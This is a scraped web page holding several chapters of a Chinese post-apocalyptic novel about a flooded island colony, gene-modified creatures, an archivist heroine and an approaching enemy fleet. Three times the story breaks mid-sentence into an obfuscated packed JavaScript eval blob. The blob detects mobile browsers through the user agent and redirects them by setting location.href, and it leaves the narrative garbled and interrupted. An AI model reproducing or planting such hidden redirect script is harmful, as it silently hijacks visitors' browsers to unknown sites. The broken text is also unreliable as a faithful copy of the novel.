两只蝠翼兽靠在铁笼的栏杆上,已经完全放弃了挣扎。小变色兽虽然嘴上绑了牢牢的枷锁,蜷成一团的样子却看起来像是睡着了。 “没人能阻止他们的进攻,即便是我们也不能。”蝠翼兽拒绝道。 “在我们进来之前,北坡上的军队就已经埋伏好了,你们的进攻不会起到任何作用。”钱章说。 “那你们还想要什么?” “信息。作为条件,你的同类可以获得最痛快的死法。当然,你们也是。” 两只蝠翼兽谨慎地交换了一下眼神,又共同看向那只小小的变色兽。 “你们想知道什么?” 钱章向后退了几步,唤道:“老周。” 齐观看着场边一个四十多岁的中年男人走上前,在笼子前的小桌子上放了一台录像机。 “姓名。” 两只蝠翼兽同时愣住。 “姓名。”周文涛又问了一遍。 “雅克。”蝠翼兽答道,丑陋的脸上露出不自在的神情,好像在说着自己不熟悉的语言。 周文涛:“除了你们以外,你们所在的实验室还有成功的案例吗?” “没有了,我们是第一批成功的,也是最后一批。当地政府镇压了所有的武装起义,并把资源都供给了实验室。富人出钱,穷人出命。做不出来能在末世存活的物种,都得死。” 雅克坐直了身子,表情变得更加严肃:“最开始的基因实验毫无头绪,死亡率、伤残率居高不下,即使偶尔有能存活的,也会因为熬不住进一步的实验,想办法结束自己的生命。为了降低自杀率,实验室抓了大批有孩子的青壮年,我也是那个时候被抓的。他们告诉我,如果我做出任何伤害自己的行为,我的孩子也会被进行基因实验。” 所有人的面色变得凝重,如此反人性的手段,即便是用在敌人身上也很难让人接受。 “就这样,第一批蝠蜥人试验成功,批量实验正式启动。但当我们找实验室要回我们的孩子,他们却迟迟交不出的时候,我们才意识到出了问题。实验室为了防止我们反抗,在食物中添加了麻醉剂,但长期的实验使那点剂量根本不足以让我们失去战斗力。我们联合平民发起了又一轮的暴动,然而当我们救出孩子们时已经……” 雅克低头沉默了一会儿,才继续说:“后面的事情你们都知道了。非洲大陆的最高峰不足6000米,很快陆地就要被完全被淹没了,而你们是距离我们最近的人类聚集区。” 周文涛面露疑惑:“这么远的距离,你们路上靠什么补充能量?别和我说你们还能捕鱼啊。” 雅克看向众人,笑得狰狞且放肆:“没有食物,不是还有人吗?我们早就不是同类了。” 钱章没有理会他的挑衅,又问道:“你们的大陆上还有别的人类吗?” “也许吧。”雅克耸了耸肩,巨大的翅膀也跟着晃动,“海上漂着,地下藏着,食物吃光了早晚会死的。这有什么好问的,难道你们会愿意和他们共享你们的生存资源吗?” 钱章沉默了,他只是想问清潜在的敌人数量罢了。 “我的问题都问完了。”周文涛说着关闭了摄像机。 雅克突然站了起来,利爪抓着栏杆晃得直响。 “别忘了你答应我的!”雅克死死盯住钱章,“让你的手下瞄准点儿。” 钱章一挥手,一个拿着超长注射器的士兵走上前。 “这种药物可以让你们三个没什么痛苦地走,安心上路吧。” “啊!啊啊!”那个一直保持沉默的蝠蜥人朝着雅克叫了起来,用双臂做了一个拥抱的手势。 尽管难以辨认,但齐观还是从她的脸上看到了无尽的悲伤与恳求。 雅克犹豫了一下,又看向钱章:“注射完药物能不能放我们出来。我们已经没有任何威胁了。” 钱章没有回答,挥手让士兵继续向前。 “啊啊!啊啊啊啊!”蝠蜥人突然猛烈地挣扎起来,空旷的审问场里充斥着它尖锐的叫声。 钱章掏出了腰间的配枪,食指扣在了扳机上。 “你要干什么!”雅克也激动了起来。 “答应它!”齐观突然喊道,“它不是听不懂!你答应它,它会停止反抗的。” 周文涛收起了摄像机,起身往场外走去。 钱章犹豫了一下,说:“注射后,你们还有十分钟。我们走吧。” 一行人回到了小房间,透过玻璃墙看着它们完成注射。 士兵离场,笼子自动打开。 失语的蝠蜥人冲出笼子,抱出小变色兽发出凄厉的哀嚎,利爪笨拙地解开小变色兽嘴上的枷锁。雅克也抚摸着它的身体,巨大的翅膀将它们一起围拢,挡住了众人的视线。 “这太奇怪了。”乌日娜拧眉道,“基因报告显示它们三个之间并不存在任何血缘关系,为什么会有这样的感情呢?” “他们看不到基因报告。”齐观的声音有些颤抖,“任何变色兽都有可能是他们的孩子。” 所有人再一次陷入沉默。 “听说你是语文老师?”周文涛突然问。 站在玻璃墙前的齐观回过身,缓缓点头。 “我是档案中心的主任周文涛,最近比较缺员工,不知道你有没有兴趣来我这里工作呀?” 齐观直接愣住,她刚刚经历完巨大的情绪起伏,突然要进入到Boss直聘环节,实在是有些没反应过来。 “档案中心在政府办公区,离军区近也比较安全。工作不是很忙,而且员工的食宿条件也还不错。” 齐观有些犹豫,老师的工作她已经做惯了,并不想学习新东西。 “薪水差不多是你现在的三倍。” “……” “什么时候可以入职?” 齐观没有去亲临北坡的枪林弹雨,而是和多吉一起回了招待所,睡醒一觉后便让他取消了心理医生的预约。 入职时间定在了一周后,齐观看了看自己的银行卡余额,直接去了岛上最大的百货商店。 一台游戏机、一台投影仪、一大包跨年才舍得买的小零食,齐观拎着袋子直接去了档案中心的员工宿舍报道。 从教师双人寝换到了单人间,虽然只有不到30平米,但她已经非常满足了。 齐观在宿舍窝了三天,看完了所有她能找到的喜剧电影,虽然最近的一部,也是两百年前的老片子了。游戏机并没她想象的那么有意思,几个热门的单机游戏随便打打就通关了,玩累了就丢到一旁。 她也时不时会翻新闻查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064763|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看军方发布的最新消息。军方披露了部分基因改造实验的内容,以及怪物群被全歼的消息,并再次强调安塔岛上绝不会有任何动物相关的改造项目出现,以安抚民众的恐慌情绪。 岛上的基因实验永远只有一个宗旨:攻克由太阳辐射产生的致病基因,让更多的人能活着等到飞船建成的那一天。 研究所因雨季的高温紧急公布了下一个十年的保护区区界划分,并由军方组织居民向更高处撤离。 在未来的十年间,上涨的海水会一点一点地吞噬暴露区,直到再次抵达保护区边界。 夜半时分,多吉结束了当日海岸线居民的迁移和巡逻任务,开车带着齐观回学校宿舍拿东西。 正值涨潮,学校周边的水位升到了两米多高。 齐观的东西不多,打了一个小包从二楼窗口扔给皮划艇上的多吉,自己也跟着跳了下来。 多吉稳稳地接住了她,皮划艇跟着微微晃了几下,漾起一圈圈水波。 齐观双手抱膝坐稳,缩在皮划艇的角落,静静地环顾自己生活了18年的地方。 18年前,齐观六岁。父母不在了,她以孤儿的身份被收养进安塔岛读书生活。 那时学校还离海岸线还十分遥远,现在已经变成了一片汪洋。 “杰佛森说明天需要你去医院慰问,还要参加教区的悼念仪式。”多吉在前面划着船,微微向后偏过头,“如果你不想去的话……” “我没有拒绝的权利,不是吗?”她悻悻地说。 三倍的薪资不是白给的,齐观明白这是一种变相的补偿。她成了一根新的精神支柱,支撑那些身体或精神受到创伤的人活下去。 不过这座岛上的灾难从未有停止的迹象,下一根支柱出现后,她就会被慢慢淡忘了。 “你还好吗?”多吉试探地问。 这几天齐观拒绝了他的探视,他也被安排了迁居的任务,没什么时间去看她。 未知往往是最让人恐惧的,得知残忍真相的齐观只觉得心里有些堵得慌。 “晚上来陪我吧。”齐观伸手摸了摸多吉的腰身,她的心灵和身体都需要一些疏通。 回了宿舍,两人直奔主题。 齐观实在是很喜欢多吉这副基因改造过的身体,强壮结实、持久有力,每每和他在一起,她都觉得自己也变得鲜活起来了。 而无论是多吉这样在岛上出生的新生儿,还是齐观这样的外来者,无一例外都需要在成年后接受节育手术。毕竟政府要做到每次大迁居后不压缩居民原本的生存空间,对生育率的把控就必须十分严格,且所有新生儿父母的基因都需要经过严格选拔,才能一代更比一代强。 这对平民自然是有大大的好处,又方便又省钱,随时随地享受快乐的同时,还不用担心受孕的风险。 齐观挂在多吉身上,由着他做事后的清理工作。 “早点休息吧,明天我会负责你的安保工作。”多吉用一条大毛巾裹住了齐观,把她推出了狭窄的浴室,自己则留在里面擦地。 屋子小,天气也热,不及时擦干的话满屋子都是潮气。 “保护我干嘛?明天难道还有什么危险吗?”齐观累得瘫回床上。 “不清楚。杰佛森说是上面的意思。” 不一会儿,多吉便关了卫生间的灯,屋内再次进入黑暗。 齐观感受着床的塌陷和薄毯窸窸窣窣的声音,很快陷入了沉睡。 5. 第5章 安塔岛第二中心医院,普通监护病房。 看着眼前缺胳膊少腿的幸存者们,齐观真不知道该替他们高兴还是难过。 乌日娜正在用3D投影仪绘声绘色地讲解机械假肢的诸多好处,保证他们康复后还能进行正常的学习和工作生活。 然而幸存者们的眼神中并没有什么波澜,更谈不上期待。 “如果我们不想继续原来的生活方式呢?”一个看上去刚成年的女孩打断了乌日娜,她右侧的衣袖已经是空空荡荡。 齐观记得自己刚参加工作的时候也是这个年纪。在安塔岛,如果高中毕业后成绩不够进入研究所进行深造,就业中心就会根据个人成绩进行工作分配,但如果连工作分配也拒绝,自然也有别的去处。 “你知道的。”乌日娜平静地看着女孩。 女孩沉默了半晌,道:“申请表。” 一名护士上前递给了她一个平板电脑和签字笔。 女孩面色凝重地在申请表末尾签了字,并在护士的搀扶下艰难地下了床。 齐观这才看到女孩刚刚隐藏在被子下的右腿,已经被切除了整条小腿。这样的伤势离开保护区根本活不过一周,在场的人瞬间明白了她离开的目的。 安塔岛上所有的医院都没有重症监护室,完全丧失工作能力的病患默认实行安乐死。而残疾病患如果拒绝工作,可以申请离开保护区,和那些向往短暂自由或者犯了罪的人一样,被送往暴露区生活。 在暴露区,一切似乎回到了原始社会,捕猎打渔全靠自己。 离开时,他们将获得一颗安乐死药丸,以便在找不到食物的时候走得轻松些。 所有人为她让开了一条通道,一道道混合着怜悯与惋惜的眼神打在她的身上。 不知怎的,齐观就是想在这个时候不去看那女孩,于是她默默低下了头。 “为什么!为什么你能好端端地站在这里!你告诉我为什么!!” 女孩突然发了疯似的叫喊着朝齐观扑来,多吉一个箭步上前拦下了她。身边的护士见情况不对,立刻小跑过来给女孩打了一针镇定剂,叫其他随行的士兵把她拖走了。 多吉转头看向病房里那些意味不明的眼神,伸手将齐观拉到了自己身后。齐观藏在阴影里,目光空洞地看向虚无。 “无论如何,请珍惜你们的生命,只要活着就还有希望。”乌日娜说完这句话,冷脸带着一行人离开了病房。 走着走着,一直低着头的齐观撞到了停下来的多吉。她木然看向周围,墙上的指示牌写着“儿童康复中心”。 透过玻璃墙,齐观看到了那个被她救下的小女孩。小女孩穿着有几分旧的白裙子,身边的老师正带着她做发声训练。 “她从被救出来之后就不会说话了。”乌日娜说,“你来看她,也许对她有好处。” 齐观有些犹豫,刚刚那女孩眼神怨恨地朝她扑来的样子还历历在目。她并不需要有人感谢她,也不希望有人来伤害她。 小女孩注意到了人群,缓缓向玻璃墙转过头来。在看到齐观的那一刻,她原本茫然的眼神瞬间有了光彩。 她跑到玻璃墙前,兴奋地拍打着,嘴里发出“啊啊”的声音。 齐观蹲下来和小女孩平视,小女孩轻轻抚摸着玻璃,齐观知道她是想摸自己的脸。 “我可以进去吗?”齐观转头问乌日娜问。 乌日娜微笑着点点头,于是齐观便起身往门口走去,小女孩也随着她移动。 齐观刚一进门就被小女孩抱住了大腿,她蹲下来搂住小女孩。 小女孩指指自己,口齿不清地说:“薛……洋……洋。”又指了指齐观,大大的眼睛满是期待。 “齐观。” “齐……观。” 薛洋洋正在换牙,一个“齐”字说得四处漏风。齐观被她逗笑了,薛洋洋也跟着笑。 阳光洒进病房里,是难得的温馨场景。 屋外,乌日娜交代着随行的媒体人员,“多拍几张。回去重点宣传。” 临走前,齐观问乌日娜这孩子的康复几率如何,得到的回答却并不乐观。 如果她一直无法恢复正常的表达能力,未来就只能去做工厂、农场里做最基础、最枯燥的工作,每天麻木地重复这样的生活直到疾病夺走她的生命。 齐观突然对薛洋洋有了一丝歉意。明明人类拼命进化到食物链的最顶端,是为了能见到更自由更广阔的天地,可到最后却还不如海里的一尾鱼,天上的一只鸟来的自在。 医院的慰问活动结束后,天已经开始黑了,一行人赶往教区。 车子一个急拐弯,齐观猛地向左靠去,手臂贴上了乌日娜冰凉的机械臂,她忍不住多看了两眼。 “实验意外,我本来就是机械工程所的研究员,就给自己做了这个。”乌日娜注意到了齐观眼神中的探究,于是抬起机械臂晃了晃。 “我从小就想当兵,无奈成绩实在是太好了,就被分到了研究所。”乌日娜说着说着就笑了,“机械臂研制成功后,钱章找到我说希望我能帮助队伍里那些因伤退伍的士兵,重新过上健全方便的生活。我趁机提要求调到部里,也算是因祸得福,而且还遇到了……” 乌日娜突然收了话头,神情竟然闪过一丝羞涩,扭头看向窗外:“到了,下车吧。” 距离悼念仪式还有一个小时,现场已经围了不少前来追思的人。 军队追击怪物时并没有收敛火力,教区基本已经是一片废墟。蜡烛的火苗闪烁在各处,在废墟上组成了一片星海。 齐观看见周文涛正在弯腰安慰一个前来悼念的小朋友,于是走了过去,“主任。” 周文涛直起身子笑了笑:“你和他们一样叫我老周就行。” 齐观犹豫了一下,没有叫出口。 周文涛摸了一把那孩子的头,又对齐观说:“一起走走啊。” 两人并排在废墟之间深一脚浅一脚地走着,多吉默默跟在他们身后,眼神一直锁在齐观身上。 “当初这个教区修建的时候,还是你的上一任和我一起找的资料,复刻了很多雕像。现在他不在了,雕像也不在了。” “不在了?” “皮肤癌。” 齐观沉默,这确实是岛上最常见的死因之一。 “不过你不用担心,这份工作不会落在你头上。当初的电子建模还都在,而且这次也不会做那么多了。” 周文涛指了指远处几个没有被波及到的小殿宇。 “神像重建工作直接用那几个小的改,这些塌了的地方听说会被改成居民区,倒也省得拆了。”周文涛说完还故作轻松地笑了笑。 齐观是个坚定的无神论者,对这里的重建工作本就没什么兴趣。 “怎么不直接都推平了住人?”齐观问道,神情带着些许荒凉,“人都没有地方住了,哪里还有神的位置。” 周文涛叹了口气,看向远处那些跪在殿宇前不停祝祷的人:“总要给人们留些希望,无论是以什么形式。” 齐观不置可否,如果为了给这些神像空位置,要她挤在不见天日的地下室,她肯定是一百个不愿意的。 周文涛带着齐观回到教区前被清理出的空地,悼念仪式正式开始。 集体默哀的一分钟里,齐观已经能听到轻微的抽泣声。默哀结束后,人们排着队前往祭台表达哀思。 岛上没有什么鲜花可以送,很多人在祭台放了些逝者生前喜欢的小物件,文具、饰品、衣物,大多都不值什么钱。 在场的基本都是学生和老师,没有多少逝者的父母。 安塔岛从四十年前就取消了母体分娩,优选的基因直接由人造子宫孕育,新生儿也统一由政府抚养。但仍有不少基因符合条件的夫妻向政府申请抚育幼儿,只是批准通过的甚少。 齐观看着那些痛哭到倒地不起的父母,突然明白了周文涛刚才的话。抚养一个新生命对于他们来说,又何尝不是一种生活的希望呢? 休息的一周很快结束,齐观按时来到档案中心报道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那我们记录这些又有什么意义呢?我们本来也不是人类文明的火种。”真正的火种已经全部抵达“新家园”了,齐观实在提不起兴趣做这些。 “如果我们不记录,你猜‘新家园’的人会怎么描述我们?”周文涛认真地看向齐观,“我们只会被描述为自愿的、伟大的牺牲者,一切自救行为都会在他们的历史长河中被抹杀,没有人会记得我们。” 齐观看向一排排的档案本,好像无数张嘴在无声地哭喊着。她沉默良久才道:“我明白了。” 周文涛给齐观安排了任务后,就离开了档案馆。 齐观回到工位翻看邮箱里军方发来的袭击事件证据汇总,文档落款却意外地看到了熟悉的名字——白玛。 齐观越看越觉得文档里的事件脉络已经梳理得十分清晰,她只需要写几句总结的话放在书里就可以了。 她不禁有些疑问,这工作难道真的这么容易吗? 啪—— 一包水果糖落在了齐观的桌子上,打断了她的思绪。 “老周都走了,不用太急着干的。”肖薇笑着说。 岛上的非生活必需品都很贵,肖薇就这么随手扔了一包给她。齐观抬头扫了一眼肖薇的穿着,并不是服装厂流水线做出来的白衣白裤,有颜色、有花样,还很贴身,甚至肖薇身上还戴了几件饰品。 原来岛上也有有钱人啊,只是齐观以前是接触不到的。 “老周经常不在吗?”齐观问。 “嗯。军方有时候会叫老周帮忙做点记录和问询,还有很多会要开。不过据我观察,他经常会趁机偷懒。” 齐观哑然,想起周文涛刚刚正经的样子,莫名觉得有些搞笑。 电脑桌面上,一个名叫“安塔岛编年史”的文件夹吸引了齐观的注意力。 这应该就是历史书的初稿吧,齐观这么猜测着,点开了页面左上角编号01的文档。 文档第一行字写着:安塔岛始建于2950年,完工于2975年,初始可容纳人口100万。 齐观从前只知道,安塔岛出现在公众视野和太空舰队彻底失联的时间是一致的,她从没想过更早之前是谁下令建造的。 难道人们早就预料到会有被抛弃的一天吗? 6. 第6章 政府办公大楼,高层领导会议室。 “今天早上,我们收到了来自南美洲政府的求救电报,他们声称遭受到了来自北美的军事侵略。”钱章向会议室的众人汇报道。 “军事侵略?”副首长肖蔷微微皱眉,“有可能检测到他们使用的什么武器吗?” “探测不到。”一名研究所的高层答道,“受太阳辐射影响,仅剩的两颗卫星传来的信号都不够稳定,但如果派巡洋舰去巡视,我们又很难在短期凑足所需的电能和食物。” “是的,而且现在部队都被派去做民房修建工作了,人手也不太够。”钱章补充道。 肖蔷没有思考太久,便略带惋惜地看向众人说:“自从海拔最低的澳洲大陆全部被淹没,各大洲政府就默契地停止了彼此的联系。从前我们没有管,这次也没有必要,保持静默吧。” “是。”钱章点头应道。 肖蔷的身体靠向椅背,十指交叠,看向刚刚发言的研究所高层。 “新的基因改造计划我看过了,没什么问题,你们正常推进吧。如果没有其他要汇报的,今天就先散会。” 肖蔷说完这句“散会”,瞟了钱章一眼。 几名高层都陆续离开了会议室,坐在桌尾的周文涛磨磨蹭蹭地走在了最后。终于,屋内只剩钱章还留在位子上,空气又重新安静了下来。 “这次海平面上涨的幅度比以往都要大,还有不少人在避难所等着被安排住处,我知道你们不好协调。”肖蔷说着从面前的文件夹里抽出一张图纸放在桌面上,五指稳稳按住推到钱章面前,“我选了几栋富人区空置率高,或者占地面积较大的居民楼。你们可以做一些改建,提高一下人口密度。” 钱章有些犹豫地拿起图纸。上面圈出的几栋楼,确实是目前最适合改建的。但其中住着的不乏欧亚各国领导人的后代,而这些后代还和安塔岛各部门高层有着千丝万缕的联系。 毕竟在末世,没钱没权是不可能有资源养出研究所的人才的。 肖蔷看得出钱章在担心什么,“这里住着的也有我的家属,我先以身作则,想必其他人也说不出什么。” “好,我这就去办。”钱章起身向肖蔷端正地敬了个军礼,准备离开会议室,却看到肖蔷紧紧皱眉捂住了腹部。 肖蔷见钱章眼神有些关切,挤了一个轻松的笑容,摆摆手说:“不要紧,最近事多,有点胃疼罢了。你先去忙吧。” 钱章领命离开,这确实解了他的燃眉之急。应急住所里闷热难耐,下属汇报说每天都有中暑被抬走的,他听得头上都要长包了。 而最近这些日子,除了建筑工地,最热闹的当属人口管理局的大门口。 由于岛上对新生儿数量的严格管控,没有后代的人过世后,他们的房屋将由人口管理局重新分配。 在过去的十年间,许多新参加工作或是升了职的人都赶着来排队交申请,想先占个好地方,改善一下居住条件。 僧多粥少,该给谁不该给谁,分得不合适肯定有人要闹起来。 人口普查一下子成为了岛上最着急的活儿,齐观就这么被老周借给人口管理局帮忙了,美其名曰是收集民情民意,还要她回来再写个观察报告交上来。 工作,无所谓想不想干,只要钱给够,干什么都行。就算要挨栋楼跑上跑下,齐观也权当锻炼身体了。 只是越往高处走,齐观听到的抱怨就越多,明明她眼瞧着环境是越来越好的。 来到了新一户的门前,齐观敲了许久,一个拄着拐的老头才从里面慢吞吞地打开。 老头把拐杖往地上一戳,冲着衣着朴素的齐观讥讽道:“哼,有什么可查的?是想看我们死没死,好让那帮底层人搬进来占我们的位置吧。” 齐观根本没在意他言语中的夹枪带棒,直接问:“你家有几口人?” 老头白了她一眼:“一口。” “你不是还有一个孩子吗?”齐观低头和表上核对了一下,“应该还活着呢吧?” “你这人怎么说话呢?”老头气得吹胡子瞪眼,“我儿子可是高级研究员!他完全有资格再单独申一套房!” “哦。”齐观敷衍地应了一声,“那没事了。” 老头嘴里骂骂咧咧地甩上了门,手上的力气看着根本不像需要拄拐的。 齐观默默在表上写着:原住址面积满足生活基本条件,子女第二套房屋申请可驳回。 她才不要和这些人争辩呢,早查完早回家,加班又不给钱。 齐观很快查完了今天划分给她的所有楼,半个多月过去了,终于可以告别这份零时工了。她在小区楼下等了好一会儿,才看见和她一起来的同事从另一栋楼里小跑出来。 同事接过了齐观递来的记录表,连连夸赞:“老周把你派过来真是帮了大忙了,好些老同事都没你干得快。” 在工作中一切从简一向是齐观的良好品德。 “客气。要是没什么别的事,我就先回去了。”齐观挤了个礼貌且敷衍的微笑,道了个别就直接回了宿舍。 自从住到了军区附近,多吉来找她就方便多了。只要他没任务,两个人就会腻在一起。 档案中心第一个月的工资到账,齐观听见空调“滴”的一声启动,终于不替钱包感到肉痛了。 她窝在多吉的怀里,挑了一部浪漫的爱情片。 投影仪的光芒投射在空气里,好像水波一样,齐观忍不住伸手摸了摸,细微的灰尘随着她的指尖舞动。 “少吃点零食吧。”多吉趁机抽走了夹在两人中间的零食袋。 “就吃!”齐观翻身跨在多吉腰上去抢零食,“好不容易涨工资吃得起了,快点儿还给我!” “不给。” 多吉把零食袋往旁边一扔,盘腿坐了起来,长臂揽住了齐观的腰。 “你什么时候去报名基因改造?所里又放出来一批名额,以你现在的工作去排队,两年之内是能排到的。” 齐观撇过脸,“不想去。” “那你就忍心到时候我一个人活在世上?变成一个小老头了天天摸着你的照片想你?” 多吉毛茸茸的脑袋在齐观的脖颈间蹭来蹭去,蹭得她痒得受不了,只好把他推开。 “你知道的,我不想活那么久。”齐观低下了头,“再说了,做手术那么疼,又不是所有癌症都能预防,我不想去遭那个罪。” “会打麻药的。”多吉用鼻梁拱起齐观的下巴,轻声哄道。 齐观拍了一把多吉的肩膀:“打麻药才疼呢!我爸妈长什么样我都忘了,但我永远记得小时候生病做手术,打麻药有多疼!” 多吉看着还没要打针,脸就皱成一团的齐观,也不忍多要求什么。 “那你少吃点零食好不好,再多吃点你们中心的营养餐,就当是为了多陪陪我。” 多吉的声音低沉好听,齐观也说不出什么拒绝的话,他确实是少有的、能让她留恋这个世界的理由。 “那……那从明天再开始少吃吧,我先把这包吃完。”齐观说着就要去够多吉身后的袋子。 “不行!”多吉翻身就把齐观压在身下,坏笑着说:“怕打针是吧?现在就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064765|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你打!” 转天,齐观顶着黑眼圈把报告写完,在临下班之前交给了周文涛。 周文涛翻了两眼,问:“你怎么看这些人?” “什么怎么看?”齐观没明白他在问什么。 “听钱章说,改建进行得并不顺利,有些住户完全不配合。每次保护区调整住处都不会影响太多人,这是第一次占了点他们的地方就抱怨成这样。”周文涛翻着报告,眉头越皱越深。 “无所谓。”齐观撇撇嘴,“反正这些人再有个十年就都不在了。” 周文涛先是一愣,随即捧腹大笑,“你这小姑娘还真敢说啊。” 齐观继续在工位上看资料,不一会儿,老周又从她的电脑旁边探出头来。 “你还经常陪那个小女孩去做复健吗?”周文涛问。 “去呀,怎么了?”齐观也学着他的样子,把头侧到一边。 薛洋洋的理解能力还没完全恢复,被调去了一年级进度最慢的班。齐观工作不忙的时候,就会找周文涛请半天的假,陪她去医院练发声。 现在薛洋洋已经能说简单的句子了,比齐观预计的情况要乐观不少。 周文涛从抽屉里摸出一盒扑克牌,神秘兮兮地从桌面上推了过来。 “听说学魔术可以开发大脑,你可以练练然后教给她,说不定有用。不过别让肖薇知道啊,不然她发现我把牌给你了,肯定又要买副新的,上次我们跟隔壁部门的小张打斗地主就让领导发现了。” 齐观见肖薇推开了档案室的门,不知道是从哪里刚摸完鱼回来。她连忙把扑克牌收进包里,在聊天框里敲了句“多谢老周”发过去,见天气不太好就赶紧收拾东西回家了。 太阳还没落山,狂躁的海风就裹挟着乌云暴雨,给安塔岛扯上了一块黑色的幕布。 此时军区的调度指挥中心却灯火通明。 “雷达在3500公里外的海域检测到了一支舰队,正在以每小时60公里的速度接近我岛。按这个速度,用不了三天就会到达这里。” 钱章用指挥棒在雷达显示器上画了一个小圈,雷达探测每在该处扫过一次,都会出现五个小小的发光点。 人群将显示器围了个水泄不通,正中间的首长正坐在轮椅上,眉头紧锁。 钱章继续说:“从他们的航向来看,应该是从南美洲出发的。北美很有可能在洗劫了南美的物资之后,直接转道向我们而来。” 在场的众高层听了钱章的推测,脸上的表情比屋外的天气还糟。 “新家园”计划伊始,全球的国家就达成一致将所有燃料和武器能源都上交供给太空舰队。结果舰队失联之后,欧亚大陆的国家坐下来一合计,发现家家户户手里都留了点儿。 以北美一贯的作风,比其他大洲存的只会多,不会少。要是真打起来,彼此手里到底有什么武器谁也不知道。 “全军已经进入一级戒备,所有武器装备也开始了检查调试,随时等待您的指示。”钱章正色道。 “放轻松,他们不会上来就和我们硬碰硬的,我们毕竟有陆地的天然优势,电磁武器更是易守难攻。”首长的声音十分虚弱,下肢还有明显的水肿。 钱章却不敢放松:“需不需要出动无人机群在远海拦截?” 首长摆了摆手,小臂上布满了针眼,“拦是拦不住的,说不定他们还要先想办法联系我们呢。” 虽然身体条件每况愈下,首长的眼神却依旧锐利。 “全岛最高级别限电进行战略储备,反导雷达24小时工作,如有异动随时向我汇报。” 7. 第7章 入夜,齐观看着手机上的限电通知,恋恋不舍地关掉了空调。好不容易交得起电费了,再开却得交罚款了。 暴雨来得快,去得更急。齐观感受着屋里逐渐弥漫的热度与潮气,心里也跟着烦躁起来,在床上翻来覆去地睡不着。 都说由俭入奢易,由奢入俭难。这才刚过了几天舒坦日子,就已经开始舍不得了。 齐观想起那几栋高档住房里对她冷嘲热讽的人,莫名有些理解了。钱财富贵只有在死的时候才是身外之物,活着的时候谁不想贴身揣着呢?就算半只脚踏进棺材里,也恨不得给棺材镶成满钻的。 齐观睡不着,也没有别的事情能做,便换了衣服准备出去溜溜。 一上街才发现和她想法一样的人可太多了,甚至有人直接铺了竹席睡在路边。一个挨一个,睡了一大片,反倒是更安全了。 还有人掰了绿化带的芭蕉叶当扇子,三三两两地聚在一起聊天。 “这是要打仗了吧。”路人说。 “应该是,不过上一次也就多限了两个晚上,这回连白天都要限呢!” “这晚上还能凑合,明天中午不得热中暑了?还不如去上班呢,至少还有空调吹。” 齐观本以为接到的是每周一天的常规限电通知,于是又掏出手机看了一遍消息,才发现上面还要求了非生产部门停工,复工时间等通知。 这些年海上时不时会来几艘想抢点资源就走的船,被岛上的激光炮轰了一个遍,就夹着尾巴原路返回了,倒也耗不了多少电。 这次应该也不会持续太久吧,只是最近可能收不到多吉的消息了。齐观这样想着,沿着微弱星光的指引在路上漫无目的地走。 安塔岛的夜晚一年四季都是温热潮湿的,连风都没有什么变化。 一抬头,齐观又走到了那片高档住宅楼,她看见不少空调出风口还在嗡嗡作响,只是没有房间亮着灯。 路过的巡警也只是马马虎虎地瞟了一眼便离开了,这似乎已经成了他们之间的一种默契。 规则,从来因人而异。 齐观仰头看着和黑夜融为一体的高楼大厦,平静地接受了这个事实。 转天一早,齐观带着前几天挑好的新文具,去学校宿舍看望薛洋洋。 新完工的校区选址在海拔更高的地方,面积缩小了不少,离齐观的宿舍倒是不远。 齐观走进低年级宿舍楼,看到里面还是熟悉的大通铺。 学校也停了课,走廊里零星站着几对父母等着把自家孩子接走。末世还要坚持生孩子的父母,自然是有自信能给孩子最好的生活条件,和衣着精致的他们站在一起,齐观的白衣白裤显得有些扎眼。 孩子们刚起床,一个生活老师管着好几个六七岁的孩子,根本顾不过来。 满床乱扔的衣服裤子,赖床哭闹的小孩,齐观光是在门口看着头都要开始疼了。 薛洋洋却没有被嘈杂的环境侵扰,一个人在角落乖乖地穿好了衣服。她趴在床边,拉出床头的抽屉翻找了一会儿,拿出了一把小梳子还挑了一个好看的发绳,准备给自己梳头发。 梳子和发绳都是齐观上次带过来给她的。毕竟是语言上有障碍的孩子,齐观担心身边的人对她没什么耐心,就让她学着自己照顾自己。 看着薛洋洋乖巧懂事的样子,齐观欣慰地笑了笑。 “这不是我的头绳吗?你怎么拿我的?”一个小女孩信口扯了谎,把薛洋洋的头绳夺了去。 “我的!我的!”薛洋洋急得直喊,“老师!我的!” 正忙着给哭闹的孩子穿衣服的老师根本顾不上她们,嚷道:“都别闹了!没看见我正忙着呢!” 薛洋洋小嘴一撅,直接伸手去抢发绳。争抢之间,那个抢发绳的小女孩摔倒在地上。 “老师!薛洋洋打我!”小女孩张口就告起状来。 老师站起身来,怒气冲冲地朝她俩走了过来。 “薛洋洋你怎么回事?怎么还打人呢?” “没有……我的。”薛洋洋指着小女孩手里的发绳说。 老师不耐烦地皱眉说:“一个发圈而已,你怎么能打人呢?学校又不是不给你们零花钱,再买一个不就完了。” 咚咚——,齐观直接敲门进了屋。 